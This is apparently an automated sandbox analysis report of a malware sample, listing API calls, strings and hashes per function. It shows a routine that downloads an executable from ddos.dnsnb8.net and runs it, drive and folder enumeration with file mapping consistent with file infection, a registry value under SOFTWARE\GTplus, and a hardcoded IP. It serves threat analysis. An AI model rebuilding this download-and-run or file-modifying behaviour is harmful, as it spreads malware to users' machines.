Source File: 00000000.00000002.1705727404.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1705695243.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705801801.0000000000403000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705822362.000000000040B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705840310.000000000040C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705893114.000000000040D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_gE4NVCZDRk.jbxd

Similarity

API ID: _initterm$FilterHandleInfoModuleStartupXcpt__getmainargs__p__commode__p__fmode__set_app_type__setusermatherrexit
String ID:
API String ID: 801014965-0
Opcode ID: c6672fdfefc484d33459fe495202c256ca6675a5ab502eee85e92a4fdfc38f08
Instruction ID: 41b20fb36615245da369ed675267998572c4bc05a5f1d3210e4b8a6eebd3b03a
Opcode Fuzzy Hash: c6672fdfefc484d33459fe495202c256ca6675a5ab502eee85e92a4fdfc38f08
Instruction Fuzzy Hash: 1C415DB1A40308AFDB209FA4DA49A5ABFA8AB09711F20017FF451B73E1D7B84941CB59

Function 00401000 Relevance: 4.5, APIs: 3, Instructions: 35
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(?,40000000,00000001,00000000,00000002,00000000,00000000), ref: 0040101D
WriteFile.KERNELBASE(000000FF,004032A0,00006600,?,00000000), ref: 00401044
CloseHandle.KERNELBASE(000000FF), ref: 00401056

Memory Dump Source

Source File: 00000000.00000002.1705727404.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1705695243.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705801801.0000000000403000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705822362.000000000040B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705840310.000000000040C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705893114.000000000040D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_gE4NVCZDRk.jbxd

Similarity

API ID: File$CloseCreateHandleWrite
String ID:
API String ID: 1065093856-0
Opcode ID: 503e30a7f5baba76d2006de02f8aabc9fecde34cd01d4e51a3acff696a7f97a2
Instruction ID: 0b57e97574c49083c60be4e0953d33bf3402ecf870afa031020ca03fe4ac14e9
Opcode Fuzzy Hash: 503e30a7f5baba76d2006de02f8aabc9fecde34cd01d4e51a3acff696a7f97a2
Instruction Fuzzy Hash: 36F06234E41348FBEB10DFA49D0AF9E7F785B04705F2081A4F6507B2C1C6B96B008B58

Function 00401AEE Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 39
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memcpy.MSVCRT(-004032A0,119.91.152.151,00000228,?,?,?,?,?,?,0040151F), ref: 00401B42

Strings

119.91.152.151, xrefs: 00401B34

Memory Dump Source

Source File: 00000000.00000002.1705727404.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1705695243.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705801801.0000000000403000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705822362.000000000040B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705840310.000000000040C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705893114.000000000040D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_gE4NVCZDRk.jbxd

Similarity

API ID: memcpy
String ID: 119.91.152.151
API String ID: 3510742995-912133076
Opcode ID: 1d9d4e6a103436fa6d4a87c3801ee709b09ed6f15207dc39c5cfe36b8e263f2a
Instruction ID: 35b040e23320f7c57e1bee8842fc800d469dc723e7eedb9ee6c7bb718427654e
Opcode Fuzzy Hash: 1d9d4e6a103436fa6d4a87c3801ee709b09ed6f15207dc39c5cfe36b8e263f2a
Instruction Fuzzy Hash: CDF09671E80304B7EB10AE609D47B6A36685B21745F2040BBF904772D2F67E7725529D

Function 00402A60 Relevance: 1.5, APIs: 1, Instructions: 6
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

#1576.MFC42(00402A06,00402A06,00402A06,00402A06,00402A06,00000000,?,0000000A), ref: 00402A70

Memory Dump Source

Source File: 00000000.00000002.1705727404.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1705695243.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705801801.0000000000403000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705822362.000000000040B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705840310.000000000040C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705893114.000000000040D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_gE4NVCZDRk.jbxd

Similarity

API ID: #1576
String ID:
API String ID: 1976119259-0
Opcode ID: 371cf650558777b7497c1cc85ae61873b6a5021e63d3067b0ccf166c38b5e6e7
Instruction ID: 2e8f5fa0b2b7dc8462a5570c84725da21d48d42b60ee068d54710228b117be70
Opcode Fuzzy Hash: 371cf650558777b7497c1cc85ae61873b6a5021e63d3067b0ccf166c38b5e6e7
Instruction Fuzzy Hash: BFB00836118386ABCB12EE95890592ABAA6BB98304F484C1DB2A1500A287668428EB16

Non-executed Functions

Function 00402400 Relevance: 1.5, APIs: 1, Instructions: 11windowCOMMON

Download Yara Rule

APIs

IsIconic.USER32(E8844D8D), ref: 0040240E

Memory Dump Source

Source File: 00000000.00000002.1705727404.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1705695243.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705801801.0000000000403000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705822362.000000000040B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705840310.000000000040C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705893114.000000000040D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_gE4NVCZDRk.jbxd

Similarity

API ID: Iconic
String ID:
API String ID: 110040809-0
Opcode ID: 1ee85660d1dedbebd5f403de0e96ef1f5b119a627276ba2acc2b378afb4465c5
Instruction ID: 5de610e982ba27cc53666b937cb18e62fe31540b2012b128af7b5849c0221d0a
Opcode Fuzzy Hash: 1ee85660d1dedbebd5f403de0e96ef1f5b119a627276ba2acc2b378afb4465c5
Instruction Fuzzy Hash: 09C012B090820CAB8708CF98EA00C29BBACEB09301B0002DCF808933008A32AE009A98

Function 0040187B Relevance: 24.6, APIs: 8, Strings: 6, Instructions: 63
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(kernel32.dll), ref: 0040188F
GetProcAddress.KERNEL32(?,GetModuleFileNameA), ref: 004018A7
GetProcAddress.KERNEL32(?,GetSystemDirectoryA), ref: 004018BF
GetProcAddress.KERNEL32(?,MoveFileA), ref: 004018D7
GetProcAddress.KERNEL32(?,MoveFileExA), ref: 004018EF
GetTickCount.KERNEL32 ref: 00401921
wsprintfA.USER32 ref: 0040193B
FreeLibrary.KERNEL32(00000000), ref: 00401979

Strings

kernel32.dll, xrefs: 0040188A
GetSystemDirectoryA, xrefs: 004018B3
MoveFileExA, xrefs: 004018E3
MoveFileA, xrefs: 004018CB
%s\%d.bak, xrefs: 0040192F
GetModuleFileNameA, xrefs: 0040189B

Memory Dump Source

Source File: 00000000.00000002.1705727404.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1705695243.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705801801.0000000000403000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705822362.000000000040B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705840310.000000000040C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705893114.000000000040D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_gE4NVCZDRk.jbxd

Similarity

API ID: AddressProc$Library$CountFreeLoadTickwsprintf
String ID: %s\%d.bak$GetModuleFileNameA$GetSystemDirectoryA$MoveFileA$MoveFileExA$kernel32.dll
API String ID: 2704705959-706646508
Opcode ID: 439d6103ebf8e8c0a2e54ea9977356cebfa60b531f2e9e129bb2cebecea63de2
Instruction ID: 278943a665a34f5de4912a77712433a3c03d867667eba4ba3f010f6a07107de3
Opcode Fuzzy Hash: 439d6103ebf8e8c0a2e54ea9977356cebfa60b531f2e9e129bb2cebecea63de2
Instruction Fuzzy Hash: B12151B5D85218ABEB20DF60CC8DBE9BB78EB54701F1041E5A649B2191DBB49FC0CF64

Function 00401C18 Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 95
libraryloaderstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00401C59
memset.MSVCRT ref: 00401C69
LoadLibraryA.KERNEL32(ADVAPI32.dll), ref: 00401C76
GetProcAddress.KERNEL32(?,RegOpenKeyExA), ref: 00401C8E
GetProcAddress.KERNEL32(?,RegQueryValueExA), ref: 00401CA3
GetProcAddress.KERNEL32(?,RegCloseKey), ref: 00401CB8
lstrcpyA.KERNEL32(?,?), ref: 00401D1F
FreeLibrary.KERNEL32(00000000), ref: 00401D62

Strings

RegCloseKey, xrefs: 00401CAC
ADVAPI32.dll, xrefs: 00401C71
RegOpenKeyExA, xrefs: 00401C82
RegQueryValueExA, xrefs: 00401C97

Memory Dump Source

Source File: 00000000.00000002.1705727404.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1705695243.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705801801.0000000000403000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705822362.000000000040B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705840310.000000000040C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705893114.000000000040D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_gE4NVCZDRk.jbxd

Similarity

API ID: AddressProc$Librarymemset$FreeLoadlstrcpy
String ID: ADVAPI32.dll$RegCloseKey$RegOpenKeyExA$RegQueryValueExA
API String ID: 3313493744-123098875
Opcode ID: 6cfc459c3633b96d3d6a7f6576698e4911ea3d3d1c7daab3c8c40142335194e9
Instruction ID: ee5ed84a35279ae09bc0a5aec9c8e8049356c5a81716acae3ba6bb287f67954d
Opcode Fuzzy Hash: 6cfc459c3633b96d3d6a7f6576698e4911ea3d3d1c7daab3c8c40142335194e9
Instruction Fuzzy Hash: 93314FB5940218ABDB10DF90DD85FDEBBB8AF48710F10416AF605B62D0D778AE44CF64

Function 004020F5 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 82
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

#355.MFC42(00000000,00000000,00000000,00000004,All Files (*.*)|*.*||,?), ref: 00402133
#2515.MFC42(00000000,00000000,00000000,00000004,All Files (*.*)|*.*||,?), ref: 00402145
#540.MFC42(00000000,00000000,00000000,00000004,All Files (*.*)|*.*||,?), ref: 0040217A
#2818.MFC42(?,00409D58,?,00000000,00000000,00000000,00000004,All Files (*.*)|*.*||,?), ref: 00402190
#3499.MFC42(?,?,00000000,00000000,00000004,All Files (*.*)|*.*||,?), ref: 004021C5
#6907.MFC42(?,00000001,00000000,?,?,00000000,00000000,00000004,All Files (*.*)|*.*||,?), ref: 004021FB
#800.MFC42(?,00000001,00000000,?,?,00000000,00000000,00000004,All Files (*.*)|*.*||,?), ref: 0040220A
#800.MFC42(?,00000001,00000000,?,?,00000000,00000000,00000004,All Files (*.*)|*.*||,?), ref: 00402216

Part of subcall function 004022C0: #800.MFC42(?,00000000,00402B79,000000FF,?,0040222D,?,00000001,00000000,?,?,00000000), ref: 004022EC

Strings

All Files (*.*)|*.*||, xrefs: 00402120

Memory Dump Source

Source File: 00000000.00000002.1705727404.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1705695243.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705801801.0000000000403000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705822362.000000000040B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705840310.000000000040C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705893114.000000000040D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_gE4NVCZDRk.jbxd

Similarity

API ID: #800$#2515#2818#3499#355#540#6907
String ID: All Files (*.*)|*.*||
API String ID: 1584807323-1256402831
Opcode ID: 4922d2615448acd3483173aa7a39ffc0c03dd6e8f39ba40f8db02418d57e1958
Instruction ID: c5d4932d0e26176f48f047347bf5286b918a9edaf58949088f637132c46f74e5
Opcode Fuzzy Hash: 4922d2615448acd3483173aa7a39ffc0c03dd6e8f39ba40f8db02418d57e1958
Instruction Fuzzy Hash: D0316D7198011CABCB14EB94CE5ABEDB774BB10304F1042AEE115772C1DAB41E44CB69

Function 004016EB Relevance: 7.6, APIs: 5, Instructions: 51
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_access.MSVCRT ref: 00401714
#5683.MFC42(0000005C,?,?,?,?,?,?), ref: 00401735
#4129.MFC42(?,00000000,0000005C,?,?,?,?,?,?), ref: 00401742
#800.MFC42(?,00000000,0000005C,?,?,?,?,?), ref: 0040176D
_mkdir.MSVCRT ref: 0040177B

Memory Dump Source

Source File: 00000000.00000002.1705727404.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1705695243.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705801801.0000000000403000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705822362.000000000040B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705840310.000000000040C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705893114.000000000040D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_gE4NVCZDRk.jbxd

Similarity

API ID: #4129#5683#800_access_mkdir
String ID:
API String ID: 2252135049-0
Opcode ID: fe9398ada3c2d6f7717ef24858e2bc8e3691a59763239764df60b612b1b35ab5
Instruction ID: e64eea6ac71e0944d3c5090b23e1d4b3a6541fea866ff8cfdbd13ca0f40ae5ed
Opcode Fuzzy Hash: fe9398ada3c2d6f7717ef24858e2bc8e3691a59763239764df60b612b1b35ab5
Instruction Fuzzy Hash: A71160709001099BCB00EFA5CD45BAEBB79EB00354F10423EF826B72D0DB385A01CB99

Function 00401FC6 Relevance: 6.1, APIs: 4, Instructions: 73
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00402400: IsIconic.USER32(E8844D8D), ref: 0040240E

#470.MFC42(?), ref: 00402004

Part of subcall function 004023D0: SendMessageA.USER32(?,00000000,00000000,00000027), ref: 004023EA

GetSystemMetrics.USER32(0000000B), ref: 0040202A
GetSystemMetrics.USER32(0000000C), ref: 00402035

Part of subcall function 00402420: GetClientRect.USER32(?,U @), ref: 00402432

Part of subcall function 004023A0: DrawIcon.USER32(00000000,?,?,?), ref: 004023BA

#755.MFC42(?,?,?,?), ref: 004020A8

Memory Dump Source

Source File: 00000000.00000002.1705727404.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1705695243.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705801801.0000000000403000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705822362.000000000040B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705840310.000000000040C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705893114.000000000040D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_gE4NVCZDRk.jbxd

Similarity

API ID: MetricsSystem$#470#755ClientDrawIconIconicMessageRectSend
String ID:
API String ID: 2506822835-0
Opcode ID: 1c9899e63e8db84197f4d426d0ee9b49cb4c862dee0a21bfd3b4b5b287d3fdbe
Instruction ID: 4f4a8c447454e0b861ef3f698e30a861443d70d21ee0d95d9e798c61fe4189de
Opcode Fuzzy Hash: 1c9899e63e8db84197f4d426d0ee9b49cb4c862dee0a21bfd3b4b5b287d3fdbe
Instruction Fuzzy Hash: 15212D719001099BCB14EFB4DE4ABEDB774BB08304F14826EE515B32D1DF786904CB58

Analysis Process: XekSuT.exePID: 6180, Parent PID: 7112COMMON

Execution Graph

Execution Coverage:	28.9%
Dynamic/Decrypted Code Coverage:	10.4%
Signature Coverage:	23.6%
Total number of Nodes:	297
Total number of Limit Nodes:	10

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 003C29E2 Relevance: 31.6, APIs: 15, Strings: 3, Instructions: 128
stringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 003C2A02
wsprintfA.USER32 ref: 003C2A1A
memset.MSVCRT ref: 003C2A44
lstrlen.KERNEL32(?), ref: 003C2A54
lstrcpyn.KERNEL32(?,?,-00000001), ref: 003C2A6C
strrchr.MSVCRT ref: 003C2A7C
lstrcmpiA.KERNEL32(?,Documents and Settings), ref: 003C2A9F
lstrlen.KERNEL32(Documents and Settings), ref: 003C2AAE
memset.MSVCRT ref: 003C2AC6
memset.MSVCRT ref: 003C2ADA
FindFirstFileA.KERNEL32(?,?), ref: 003C2AEF
memset.MSVCRT ref: 003C2B13
lstrcmpiA.KERNEL32(?,?), ref: 003C2B42
FindNextFileA.KERNEL32(00000000,?,?,?,?), ref: 003C2B67
FindClose.KERNEL32(00000000), ref: 003C2B6E

Strings

%s*, xrefs: 003C2A14
C:\, xrefs: 003C2A2F
Documents and Settings, xrefs: 003C2A8D, 003C2A92, 003C2A9A, 003C2AAD

Memory Dump Source

Source File: 00000001.00000002.1891225274.00000000003C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000001.00000002.1891201701.00000000003C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1891247732.00000000003C3000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1891266470.00000000003C4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1891288538.00000000003C6000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3c0000_XekSuT.jbxd

Similarity

API ID: memset$Find$Filelstrcmpilstrlen$CloseFirstNextlstrcpynstrrchrwsprintf
String ID: %s*$C:\$Documents and Settings
API String ID: 2826467728-110786608
Opcode ID: 8cd6e35f4c0c35389192d905c0ca717eb11f0dcb942da10b762e48713665a7c6
Instruction ID: 723289a0f609dd17c1b45d997e1b183c0b25416b3a2808884a10a57f35261411
Opcode Fuzzy Hash: 8cd6e35f4c0c35389192d905c0ca717eb11f0dcb942da10b762e48713665a7c6
Instruction Fuzzy Hash: A34145B3404349AFD722DBA0DC49EEB77ACEB84315F04492DF545D7111EA35EE4887A2

Function 003C1099 Relevance: 22.8, APIs: 7, Strings: 6, Instructions: 74
stringsleepprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 003C185B: GetSystemTimeAsFileTime.KERNEL32(003C1F92,00000000,?,00000000,?,?,?,003C1F92,?,00000000,00000002), ref: 003C1867
Part of subcall function 003C185B: srand.MSVCRT ref: 003C1878
Part of subcall function 003C185B: rand.MSVCRT ref: 003C1880
Part of subcall function 003C185B: srand.MSVCRT ref: 003C1890
Part of subcall function 003C185B: rand.MSVCRT ref: 003C1894

WinExec.KERNEL32(?,00000005), ref: 003C10F1
lstrlen.KERNEL32(003C4748), ref: 003C10FA
wsprintfA.USER32 ref: 003C112A
wsprintfA.USER32 ref: 003C1143
URLDownloadToFileA.URLMON(00000000,?,?,00000000,00000000), ref: 003C115B
lstrlen.KERNEL32(ddos.dnsnb8.net,00000000,?,?,00000000,00000000), ref: 003C1169
Sleep.KERNEL32 ref: 003C1179

Strings

%s%.8X.exe, xrefs: 003C1124
HG<, xrefs: 003C112C
C:\Users\user\AppData\Local\Temp\, xrefs: 003C1119
cj/, xrefs: 003C1135
http://%s:%d/%s/%s, xrefs: 003C10C2, 003C1141
ddos.dnsnb8.net, xrefs: 003C10C8, 003C10CF, 003C1140, 003C1168

Memory Dump Source

Source File: 00000001.00000002.1891225274.00000000003C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000001.00000002.1891201701.00000000003C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1891247732.00000000003C3000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1891266470.00000000003C4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1891288538.00000000003C6000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3c0000_XekSuT.jbxd

Similarity

API ID: FileTimelstrlenrandsrandwsprintf$DownloadExecSleepSystem
String ID: %s%.8X.exe$C:\Users\user\AppData\Local\Temp\$HG<$cj/$ddos.dnsnb8.net$http://%s:%d/%s/%s
API String ID: 1280626985-347476361
Opcode ID: 2772db15e1146c17cdc7ced80cca5488cae07604988378e299e435ac297391fd
Instruction ID: 36e0a791c3041ab6173331723dcab9551f7f5fbd6a8ff73c372d3360b0b77300
Opcode Fuzzy Hash: 2772db15e1146c17cdc7ced80cca5488cae07604988378e299e435ac297391fd
Instruction Fuzzy Hash: 84218C76900258BEDB22EBA0DC58FEEBBBCAB06315F158099E501E2051D774AF84DF60

Function 003C6076 Relevance: 14.6, APIs: 7, Strings: 1, Instructions: 614
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32(00000000,00001800,00001000,00000004), ref: 003C60BE
VirtualAlloc.KERNEL32(00000000,?,00001000,00000004,?,?,?), ref: 003C60DF
VirtualFree.KERNELBASE(?,00000000,00008000,?,?,?), ref: 003C6189
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 003C61A5

Strings

kernel32.dll, xrefs: 003C64A7

Memory Dump Source

Source File: 00000001.00000002.1891288538.00000000003C6000.00000040.00000001.01000000.00000004.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000001.00000002.1891201701.00000000003C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1891225274.00000000003C1000.00000020.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1891247732.00000000003C3000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1891266470.00000000003C4000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3c0000_XekSuT.jbxd

Similarity

API ID: Virtual$AllocFree
String ID: kernel32.dll
API String ID: 2087232378-1793498882
Opcode ID: 621a3066ca2bd9a9425db078893b70ebb09a415472c7c4598c8aa5b83e7a16b5
Instruction ID: 69ea61542314a796dcfd31355d36cf276f92efecea5d65779cac2ef4887168cb
Opcode Fuzzy Hash: 621a3066ca2bd9a9425db078893b70ebb09a415472c7c4598c8aa5b83e7a16b5
Instruction Fuzzy Hash: CE1221B25087848FDB328F64CC56FEA3BA4EF02310F1945AED88ACB693D674AD01C755

Function 003C1718 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 65
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemTimeAsFileTime.KERNEL32(?,?,00000104,C:\Users\user\AppData\Local\Temp\XekSuT.exe), ref: 003C1729
SHSetValueA.SHLWAPI(80000002,SOFTWARE\GTplus,Time,00000003,?,00000008), ref: 003C174C
SHGetValueA.SHLWAPI(80000002,SOFTWARE\GTplus,Time,?,?,00000001), ref: 003C177C
__aulldiv.LIBCMT ref: 003C1796
__aulldiv.LIBCMT ref: 003C17A8

Strings

SOFTWARE\GTplus, xrefs: 003C1742, 003C176B
C:\Users\user\AppData\Local\Temp\XekSuT.exe, xrefs: 003C1722
Time, xrefs: 003C173D, 003C1766

Memory Dump Source

Source File: 00000001.00000002.1891225274.00000000003C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000001.00000002.1891201701.00000000003C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1891247732.00000000003C3000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1891266470.00000000003C4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1891288538.00000000003C6000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3c0000_XekSuT.jbxd

Similarity

API ID: TimeValue__aulldiv$FileSystem
String ID: C:\Users\user\AppData\Local\Temp\XekSuT.exe$SOFTWARE\GTplus$Time
API String ID: 541852442-4253519813
Opcode ID: e99cfb7b85ee52f50c76c78203ccb83d2dd6313ebaf872645b9fd0aaf833ca19
Instruction ID: 6b917fdeffe3dafc1c96bd68ac0cd107a7a91421a5a3aef7de37dd2becf98410
Opcode Fuzzy Hash: e99cfb7b85ee52f50c76c78203ccb83d2dd6313ebaf872645b9fd0aaf833ca19
Instruction Fuzzy Hash: 00118272A00209BFDB12AB94CC89FEF7BBCEB45B54F10C519F901F6181D6719E459B60

Function 003C2B8C Relevance: 10.6, APIs: 7, Instructions: 74
threadstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 003C2BA6
GetLogicalDriveStringsA.KERNEL32(00000050,?), ref: 003C2BB4
GetDriveTypeA.KERNEL32(?), ref: 003C2BD3
CreateThread.KERNEL32(00000000,00000000,003C2B7D,?,00000000,00000000), ref: 003C2BEE
lstrlen.KERNEL32(?), ref: 003C2BFB
WaitForMultipleObjects.KERNEL32(?,?,00000001,000000FF), ref: 003C2C16
CreateThread.KERNEL32(00000000,00000000,003C2845,00000000,00000000,00000000), ref: 003C2C3A

Memory Dump Source

Source File: 00000001.00000002.1891225274.00000000003C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000001.00000002.1891201701.00000000003C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1891247732.00000000003C3000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1891266470.00000000003C4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1891288538.00000000003C6000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3c0000_XekSuT.jbxd

Similarity

API ID: CreateDriveThread$LogicalMultipleObjectsStringsTypeWaitlstrlenmemset
String ID:
API String ID: 1073171358-0
Opcode ID: 4163f3558b91fa3eb08fa0c922e1258ef2734a8b91dfe1248867058501003353
Instruction ID: 1ebeb6a579c03debef39ae02c49b7861cedc4711a5ab55b29622c2b8f1d85a34
Opcode Fuzzy Hash: 4163f3558b91fa3eb08fa0c922e1258ef2734a8b91dfe1248867058501003353
Instruction Fuzzy Hash: 5521A5B284015CAFE722AFA4AC84EEF7B6DFB05344F164129F952D2151D734AD06CB61

Function 003C1E6E Relevance: 44.1, APIs: 20, Strings: 5, Instructions: 380
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetFileAttributesA.KERNEL32(?,00000080,?,003C32B0,00000164,003C2986,?), ref: 003C1EB9
CreateFileA.KERNEL32(?,C0000000,00000000,00000000,00000003,00000080,00000000), ref: 003C1ECD
SetFilePointer.KERNEL32(000000FF,00000000,00000000,00000002,00000000,00000000), ref: 003C1EF3
CreateFileMappingA.KERNEL32(000000FF,00000000,00000004,00000000,00000000,00000000), ref: 003C1F07
MapViewOfFile.KERNEL32(00000000,000F001F,00000000,00000000,00000400), ref: 003C1F1D
